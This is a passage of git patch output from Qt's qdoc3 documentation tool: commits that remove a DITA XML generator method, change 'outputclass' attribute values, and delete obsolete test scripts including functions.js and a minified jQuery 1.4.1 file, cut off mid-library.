    - generateSection(section.members, node, marker, CodeMarker::Accessors); - } - - Section notifiers; - notifiers.members += property->notifiers(); - - if (!notifiers.members.isEmpty()) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeCharacters("Notifier signal:"); - xmlWriter().writeEndElement(); //

    - generateSection(notifiers.members, node, marker, CodeMarker::Accessors); - } - } - else if (node->type() == Node::Enum) { - en = static_cast(node); - if (en->flagsType()) { - xmlWriter().writeStartElement("p"); - QString text = "The " + protectEnc(en->flagsType()->name()) + - " type is a typedef for " + - "QFlags<" + - protectEnc(en->name()) + - ">. It stores an OR combination of " + - protectEnc(en->name()) + " values."; - xmlWriter().writeCharacters(text); - xmlWriter().writeEndElement(); //

    - } - } - generateAlsoList(node, marker); -} - void DitaXmlGenerator::findAllClasses(const InnerNode* node) { NodeList::const_iterator c = node->childNodes().constBegin(); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 427264c..b13fa49 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -217,9 +217,6 @@ class DitaXmlGenerator : public PageGenerator const Node* relative, CodeMarker* marker, const Node* actualNode = 0); - void generateDetailedMember(Node* node, - const InnerNode* relative, - CodeMarker* marker); void generateLink(const Atom* atom, const Node* relative, CodeMarker* marker); -- cgit v0.12 From 8256a4dfe14b214f517d35178e70f2613131ae99 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 10 Nov 2010 14:10:31 +0100 Subject: qdoc: Changed some outputclass attributes. --- tools/qdoc3/ditaxmlgenerator.cpp | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 90f2997..aace05a 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -4239,6 +4239,7 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, if (n && n->subType() == Node::QmlClass) { const QmlClassNode* qcn = static_cast(n); xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","inherits"); Text text; text << "[Inherits "; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn)); @@ -4286,6 +4287,7 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, const ClassNode* cn = qcn->classNode(); if (cn && (cn->status() != Node::Internal)) { xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","instantiates"); Text text; text << "["; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn)); @@ -4311,13 +4313,13 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, is set to Node::Internal, do nothing. */ void DitaXmlGenerator::generateInstantiatedBy(const ClassNode* cn, - CodeMarker* marker) + CodeMarker* marker) { if (cn && cn->status() != Node::Internal && !cn->qmlElement().isEmpty()) { const Node* n = myTree->root()->findNode(cn->qmlElement(),Node::Fake); if (n && n->subType() == Node::QmlClass) { xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","centerAlign"); + xmlWriter().writeAttribute("outputclass","instantiated-by"); Text text; text << "["; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(cn)); -- cgit v0.12 From 466953c0504ec8d84115af4723d6039b21a98ed1 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 10 Nov 2010 14:14:35 +0100 Subject: Removed obsolete files. Apparently, these files are no longer used, being duplicates of those in doc/src/template. --- tools/qdoc3/test/scripts/functions.js | 60 -- tools/qdoc3/test/scripts/jquery.js | 152 ----- tools/qdoc3/test/style/style.css | 1051 --------------------------------- tools/qdoc3/test/style/style_ie6.css | 54 -- tools/qdoc3/test/style/style_ie7.css | 19 - tools/qdoc3/test/style/style_ie8.css | 0 6 files changed, 1336 deletions(-) delete mode 100644 tools/qdoc3/test/scripts/functions.js delete mode 100644 tools/qdoc3/test/scripts/jquery.js delete mode 100644 tools/qdoc3/test/style/style.css delete mode 100644 tools/qdoc3/test/style/style_ie6.css delete mode 100644 tools/qdoc3/test/style/style_ie7.css delete mode 100644 tools/qdoc3/test/style/style_ie8.css diff --git a/tools/qdoc3/test/scripts/functions.js b/tools/qdoc3/test/scripts/functions.js deleted file mode 100644 index 0135427..0000000 --- a/tools/qdoc3/test/scripts/functions.js +++ /dev/null @@ -1,60 +0,0 @@ - -/* START non link areas where cursor should change to pointing hand */ -$('.t_button').mouseover(function() { - $('.t_button').css('cursor','pointer'); - /*document.getElementById(this.id).style.cursor='pointer';*/ -}); - -/* END non link areas */ -$('#smallA').click(function() { - $('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('font-size','smaller'); - $('.t_button').removeClass('active') - $(this).addClass('active') -}); - -$('#medA').click(function() { - $('.content .heading').css('font','600 16px/1 Arial'); - $('.content h1').css('font','600 18px/1.2 Arial'); - $('.content h2').css('font','600 16px/1.2 Arial'); - $('.content h3').css('font','600 14px/1.2 Arial'); - $('.content p').css('font','13px/20px Verdana'); - $('.content li').css('font','400 13px/1 Verdana'); - $('.content li').css('line-height','14px'); - $('.content table').css('font','13px/1.2 Verdana'); - $('.content .heading').css('font','600 16px/1 Arial'); - $('.content .indexboxcont li').css('font','600 13px/1 Verdana'); - $('.t_button').removeClass('active') - $(this).addClass('active') -}); - -$('#bigA').click(function() { - $('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('font-size','large'); - $('.content .heading,.content h1, .content h2, .content h3, .content p, .content li, .content table').css('line-height','25px'); - $('.t_button').removeClass('active') - $(this).addClass('active') -}); - -function doSearch(str){ - -if (str.length>3) - { - alert('start search'); - // document.getElementById("refWrapper").innerHTML=""; - return; - } - else - return; - -// var url="indexSearch.php"; -// url=url+"?q="+str; - // url=url+"&sid="+Math.random(); - // var url="http://localhost:8983/solr/select?"; - // url=url+"&q="+str; - // url=url+"&fq=&start=0&rows=10&fl=&qt=&wt=&explainOther=&hl.fl="; - - // $.get(url, function(data){ - // alert(data); - // document.getElementById("refWrapper").innerHTML=data; - //}); - -} \ No newline at end of file diff --git a/tools/qdoc3/test/scripts/jquery.js b/tools/qdoc3/test/scripts/jquery.js deleted file mode 100644 index 0c7294c..0000000 --- a/tools/qdoc3/test/scripts/jquery.js +++ /dev/null @@ -1,152 +0,0 @@ -/*! - * jQuery JavaScript Library v1.4.1 - * http://jquery.com/ - * - * Copyright 2010, John Resig - * Dual licensed under the MIT or GPL Version 2 licenses. - * http://jquery.org/license - * - * Includes Sizzle.js - * http://sizzlejs.com/ - * Copyright 2010, The Dojo Foundation - * Released under the MIT, BSD, and GPL Licenses. - * - * Date: Mon Jan 25 19:43:33 2010 -0500 - */ -(function(z,v){function la(){if(!c.isReady){try{r.documentElement.doScroll("left")}catch(a){setTimeout(la,1);return}c.ready()}}function Ma(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,i){var j=a.length;if(typeof b==="object"){for(var n in b)X(a,n,b[n],f,e,d);return a}if(d!==v){f=!i&&f&&c.isFunction(d);for(n=0;n-1){i=j.data;i.beforeFilter&&i.beforeFilter[a.type]&&!i.beforeFilter[a.type](a)||f.push(j.selector)}else delete x[o]}i=c(a.target).closest(f, -a.currentTarget);m=0;for(s=i.length;m)[^>]*$|^#([\w-]+)$/,Qa=/^.[^:#\[\.,]*$/,Ra=/\S/,Sa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Ta=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,O=navigator.userAgent, -va=false,P=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,Q=Array.prototype.slice,wa=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(typeof a==="string")if((d=Pa.exec(a))&&(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:r;if(a=Ta.exec(a))if(c.isPlainObject(b)){a=[r.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=ra([d[1]], -[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}}else{if(b=r.getElementById(d[2])){if(b.id!==d[2])return S.find(a);this.length=1;this[0]=b}this.context=r;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=r;a=r.getElementsByTagName(a)}else return!b||b.jquery?(b||S).find(a):c(b).find(a);else if(c.isFunction(a))return S.ready(a);if(a.selector!==v){this.selector=a.selector;this.context=a.context}return c.isArray(a)?this.setArray(a):c.makeArray(a, -this)},selector:"",jquery:"1.4.1",length:0,size:function(){return this.length},toArray:function(){return Q.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){a=c(a||null);a.prevObject=this;a.context=this.context;if(b==="find")a.selector=this.selector+(this.selector?" ":"")+d;else if(b)a.selector=this.selector+"."+b+"("+d+")";return a},setArray:function(a){this.length=0;ba.apply(this,a);return this},each:function(a,b){return c.each(this, -a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(r,c);else P&&P.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(Q.apply(this,arguments),"slice",Q.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this,function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice}; -c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,i,j,n;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b
    a";var e=d.getElementsByTagName("*"),i=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!i)){c.support= -{leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(i.getAttribute("style")),hrefNormalized:i.getAttribute("href")==="/a",opacity:/^0.55$/.test(i.style.opacity),cssFloat:!!i.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:r.createElement("select").appendChild(r.createElement("option")).selected,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null}; -b.type="text/javascript";try{b.appendChild(r.createTextNode("window."+f+"=1;"))}catch(j){}a.insertBefore(b,a.firstChild);if(z[f]){c.support.scriptEval=true;delete z[f]}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function n(){c.support.noCloneEvent=false;d.detachEvent("onclick",n)});d.cloneNode(true).fireEvent("onclick")}d=r.createElement("div");d.innerHTML="";a=r.createDocumentFragment();a.appendChild(d.firstChild); -c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var n=r.createElement("div");n.style.width=n.style.paddingLeft="1px";r.body.appendChild(n);c.boxModel=c.support.boxModel=n.offsetWidth===2;r.body.removeChild(n).style.display="none"});a=function(n){var o=r.createElement("div");n="on"+n;var m=n in o;if(!m){o.setAttribute(n,"return;");m=typeof o[n]==="function"}return m};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=i=null}})();c.props= -{"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ua=0,xa={},Va={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var f=a[G],e=c.cache;if(!b&&!f)return null;f||(f=++Ua);if(typeof b==="object"){a[G]=f;e=e[f]=c.extend(true, -{},b)}else e=e[f]?e[f]:typeof d==="undefined"?Va:(e[f]={});if(d!==v){a[G]=f;e[b]=d}return typeof b==="string"?e[b]:e}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{try{delete a[G]}catch(i){a.removeAttribute&&a.removeAttribute(G)}delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this, -a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===v){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===v&&this.length)f=c.data(this[0],a);return f===v&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this,a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d); -return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===v)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]|| -a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var ya=/[\n\t]/g,ca=/\s+/,Wa=/\r/g,Xa=/href|src|style/,Ya=/(button|input)/i,Za=/(button|input|object|select|textarea)/i,$a=/^(a|area)$/i,za=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(o){var m= -c(this);m.addClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d-1)return true;return false},val:function(a){if(a===v){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value|| -{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var i=b?d:0;for(d=b?d+1:e.length;i=0;else if(c.nodeName(this,"select")){var x=c.makeArray(s);c("option",this).each(function(){this.selected=c.inArray(c(this).val(),x)>=0});if(!x.length)this.selectedIndex=-1}else this.value=s}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return v;if(f&&b in c.attrFn)return c(a)[b](d); -f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==v;b=f&&c.props[b]||b;if(a.nodeType===1){var i=Xa.test(b);if(b in a&&f&&!i){if(e){b==="type"&&Ya.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:Za.test(a.nodeName)||$a.test(a.nodeName)&&a.href?0:v;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText= -""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&i?a.getAttribute(b,2):a.getAttribute(b);return a===null?v:a}return c.style(a,b,d)}});var ab=function(a){return a.replace(/[^\w\s\.\|`]/g,function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==z&&!a.frameElement)a=z;if(!d.guid)d.guid=c.guid++;if(f!==v){d=c.proxy(d);d.data=f}var e=c.data(a,"events")||c.data(a,"events",{}),i=c.data(a,"handle"),j;if(!i){j= -function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(j.elem,arguments):v};i=c.data(a,"handle",j)}if(i){i.elem=a;b=b.split(/\s+/);for(var n,o=0;n=b[o++];){var m=n.split(".");n=m.shift();if(o>1){d=c.proxy(d);if(f!==v)d.data=f}d.type=m.slice(0).sort().join(".");var s=e[n],x=this.special[n]||{};if(!s){s=e[n]={};if(!x.setup||x.setup.call(a,f,m,d)===false)if(a.addEventListener)a.addEventListener(n,i,false);else a.attachEvent&&a.attachEvent("on"+n,i)}if(x.add)if((m=x.add.call(a, -d,f,m,s))&&c.isFunction(m)){m.guid=m.guid||d.guid;m.data=m.data||d.data;m.type=m.type||d.type;d=m}s[d.guid]=d;this.global[n]=true}a=null}}},global:{},remove:function(a,b,d){if(!(a.nodeType===3||a.nodeType===8)){var f=c.data(a,"events"),e,i,j;if(f){if(b===v||typeof b==="string"&&b.charAt(0)===".")for(i in f)this.remove(a,i+(b||""));else{if(b.type){d=b.handler;b=b.type}b=b.split(/\s+/);for(var n=0;i=b[n++];){var o=i.split(".");i=o.shift();var m=!o.length,s=c.map(o.slice(0).sort(),ab);s=new RegExp("(^|\\.)"+ -s.join("\\.(?:.*\\.)?")+"(\\.|$)");var x=this.special[i]||{};if(f[i]){if(d){j=f[i][d.guid];delete f[i][d.guid]}else for(var A in f[i])if(m||s.test(f[i][A].type))delete f[i][A];x.remove&&x.remove.call(a,o,j);for(e in f[i])break;if(!e){if(!x.teardown||x.teardown.call(a,o)===false)if(a.removeEventListener)a.removeEventListener(i,c.data(a,"handle"),false);else a.detachEvent&&a.detachEvent("on"+i,c.data(a,"handle"));e=null;delete f[i]}}}}for(e in f)break;if(!e){if(A=c.data(a,"handle"))A.elem=null;c.removeData(a, -"events");c.removeData(a,"handle")}}}},trigger:function(a,b,d,f){var e=a.type||a;if(!f){a=typeof a==="object"?a[G]?a:c.extend(c.Event(e),a):c.Event(e);if(e.indexOf("!")>=0){a.type=e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();this.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return v;a.result=v;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d, -b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(i){}if(!a.isPropagationStopped()&&f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){d=a.target;var j;if(!(c.nodeName(d,"a")&&e==="click")&&!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()])){try{if(d[e]){if(j=d["on"+e])d["on"+e]=null;this.triggered=true;d[e]()}}catch(n){}if(j)d["on"+e]=j;this.triggered=false}}},handle:function(a){var b, -d;a=arguments[0]=c.event.fix(a||z.event);a.currentTarget=this;d=a.type.split(".");a.type=d.shift();b=!d.length&&!a.exclusive;var f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)");d=(c.data(this,"events")||{})[a.type];for(var e in d){var i=d[e];if(b||f.test(i.type)){a.handler=i;a.data=i.data;i=i.apply(this,arguments);if(i!==v){a.result=i;if(i===false){a.preventDefault();a.stopPropagation()}}if(a.isImmediatePropagationStopped())break}}return a.result},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "), -fix:function(a){if(a[G])return a;var b=a;a=c.Event(b);for(var d=this.props.length,f;d;){f=this.props[--d];a[f]=b[f]}if(!a.target)a.target=a.srcElement||r;if(a.target.nodeType===3)a.target=a.target.parentNode;if(!a.relatedTarget&&a.fromElement)a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement;if(a.pageX==null&&a.clientX!=null){b=r.documentElement;d=r.body;a.pageX=a.clientX+(b&&b.scrollLeft||d&&d.scrollLeft||0)-(b&&b.clientLeft||d&&d.clientLeft||0);a.pageY=a.clientY+(b&&b.scrollTop|| -d&&d.scrollTop||0)-(b&&b.clientTop||d&&d.clientTop||0)}if(!a.which&&(a.charCode||a.charCode===0?a.charCode:a.keyCode))a.which=a.charCode||a.keyCode;if(!a.metaKey&&a.ctrlKey)a.metaKey=a.ctrlKey;if(!a.which&&a.button!==v)a.which=a.button&1?1:a.button&2?3:a.button&4?2:0;return a},guid:1E8,proxy:c.proxy,special:{ready:{setup:c.bindReady,teardown:c.noop},live:{add:function(a,b){c.extend(a,b||{});a.guid+=b.selector+b.live;b.liveProxy=a;c.event.add(this,b.live,na,b)},remove:function(a){if(a.length){var b= -0,d=new RegExp("(^|\\.)"+a[0]+"(\\.|$)");c.each(c.data(this,"events").live||{},function(){d.test(this.type)&&b++});b<1&&c.event.remove(this,a[0],na)}},special:{}},beforeunload:{setup:function(a,b,d){if(this.setInterval)this.onbeforeunload=d;return false},teardown:function(a,b){if(this.onbeforeunload===b)this.onbeforeunload=null}}}};c.Event=function(a){if(!this.preventDefault)return new c.Event(a);if(a&&a.type){this.originalEvent=a;this.type=a.type}else this.type=a;this.timeStamp=J();this[G]=true}; -c.Event.prototype={preventDefault:function(){this.isDefaultPrevented=Z;var a=this.originalEvent;if(a){a.preventDefault&&a.preventDefault();a.returnValue=false}},stopPropagation:function(){this.isPropagationStopped=Z;var a=this.originalEvent;if(a){a.stopPropagation&&a.stopPropagation();a.cancelBubble=true}},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=Z;this.stopPropagation()},isDefaultPrevented:Y,isPropagationStopped:Y,isImmediatePropagationStopped:Y};var Aa=function(a){for(var b= -a.relatedTarget;b&&b!==this;)try{b=b.parentNode}catch(d){break}if(b!==this){a.type=a.data;c.event.handle.apply(this,arguments)}},Ba=function(a){a.type=a.data;c.event.handle.apply(this,arguments)};c.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){c.event.special[a]={setup:function(d){c.event.add(this,b,d&&d.selector?Ba:Aa,a)},teardown:function(d){c.event.remove(this,b,d&&d.selector?Ba:Aa)}}});if(!c.support.submitBubbles)c.event.special.submit={setup:function(a,b,d){if(this.nodeName.toLowerCase()!== -"form"){c.event.add(this,"click.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="submit"||i==="image")&&c(e).closest("form").length)return ma("submit",this,arguments)});c.event.add(this,"keypress.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="text"||i==="password")&&c(e).closest("form").length&&f.keyCode===13)return ma("submit",this,arguments)})}else return false},remove:function(a,b){c.event.remove(this,"click.specialSubmit"+(b?"."+b.guid:""));c.event.remove(this, -"keypress.specialSubmit"+(b?"."+b.guid:""))}};if(!c.support.changeBubbles){var da=/textarea|input|select/i;function Ca(a){var b=a.type,d=a.value;if(b==="radio"||b==="checkbox")d=a.checked;else if(b==="select-multiple")d=a.selectedIndex>-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d}function ea(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Ca(d);if(a.type!=="focusout"|| -d.type!=="radio")c.data(d,"_change_data",e);if(!(f===v||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}}c.event.special.change={filters:{focusout:ea,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return ea.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return ea.call(this,a)},beforeactivate:function(a){a= -a.target;a.nodeName.toLowerCase()==="input"&&a.type==="radio"&&c.data(a,"_change_data",Ca(a))}},setup:function(a,b,d){for(var f in T)c.event.add(this,f+".specialChange."+d.guid,T[f]);return da.test(this.nodeName)},remove:function(a,b){for(var d in T)c.event.remove(this,d+".specialChange"+(b?"."+b.guid:""),T[d]);return da.test(this.nodeName)}};var T=c.event.special.change.filters}r.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this, -f)}c.event.special[b]={setup:function(){this.addEventListener(a,d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var i in d)this[b](i,f,d[i],e);return this}if(c.isFunction(f)){e=f;f=v}var j=b==="one"?c.proxy(e,function(n){c(this).unbind(n,j);return e.apply(this,arguments)}):e;return d==="unload"&&b!=="one"?this.one(d,f,e):this.each(function(){c.event.add(this,d,j,f)})}});c.fn.extend({unbind:function(a, -b){if(typeof a==="object"&&!a.preventDefault){for(var d in a)this.unbind(d,a[d]);return this}return this.each(function(){c.event.remove(this,a,b)})},trigger:function(a,b){return this.each(function(){c.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0]){a=c.Event(a);a.preventDefault();a.stopPropagation();c.event.trigger(a,b,this[0]);return a.result}},toggle:function(a){for(var b=arguments,d=1;d0){y=t;break}}t=t[g]}l[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,i=Object.prototype.toString,j=false,n=true;[0,0].sort(function(){n=false;return 0});var o=function(g,h,k,l){k=k||[];var q=h=h||r;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g|| -typeof g!=="string")return k;for(var p=[],u,t,y,R,H=true,M=w(h),I=g;(f.exec(""),u=f.exec(I))!==null;){I=u[3];p.push(u[1]);if(u[2]){R=u[3];break}}if(p.length>1&&s.exec(g))if(p.length===2&&m.relative[p[0]])t=fa(p[0]+p[1],h);else for(t=m.relative[p[0]]?[h]:o(p.shift(),h);p.length;){g=p.shift();if(m.relative[g])g+=p.shift();t=fa(g,t)}else{if(!l&&p.length>1&&h.nodeType===9&&!M&&m.match.ID.test(p[0])&&!m.match.ID.test(p[p.length-1])){u=o.find(p.shift(),h,M);h=u.expr?o.filter(u.expr,u.set)[0]:u.set[0]}if(h){u= -l?{expr:p.pop(),set:A(l)}:o.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=u.expr?o.filter(u.expr,u.set):u.set;if(p.length>0)y=A(t);else H=false;for(;p.length;){var D=p.pop();u=D;if(m.relative[D])u=p.pop();else D="";if(u==null)u=h;m.relative[D](y,u,M)}}else y=[]}y||(y=t);y||o.error(D||g);if(i.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))k.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&& -y[g].nodeType===1&&k.push(t[g]);else k.push.apply(k,y);else A(y,k);if(R){o(R,q,k,l);o.uniqueSort(k)}return k};o.uniqueSort=function(g){if(C){j=n;g.sort(C);if(j)for(var h=1;h":function(g,h){var k=typeof h==="string";if(k&&!/\W/.test(h)){h=h.toLowerCase();for(var l=0,q=g.length;l=0))k||l.push(u);else if(k)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&& -"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,k,l,q,p){h=g[1].replace(/\\/g,"");if(!p&&m.attrMap[h])g[1]=m.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,k,l,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=o(g[3],null,null,h);else{g=o.filter(g[3],h,k,true^q);k||l.push.apply(l,g);return false}else if(m.match.POS.test(g[0])||m.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true); -return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,k){return!!o(k[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"=== -g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},setFilters:{first:function(g,h){return 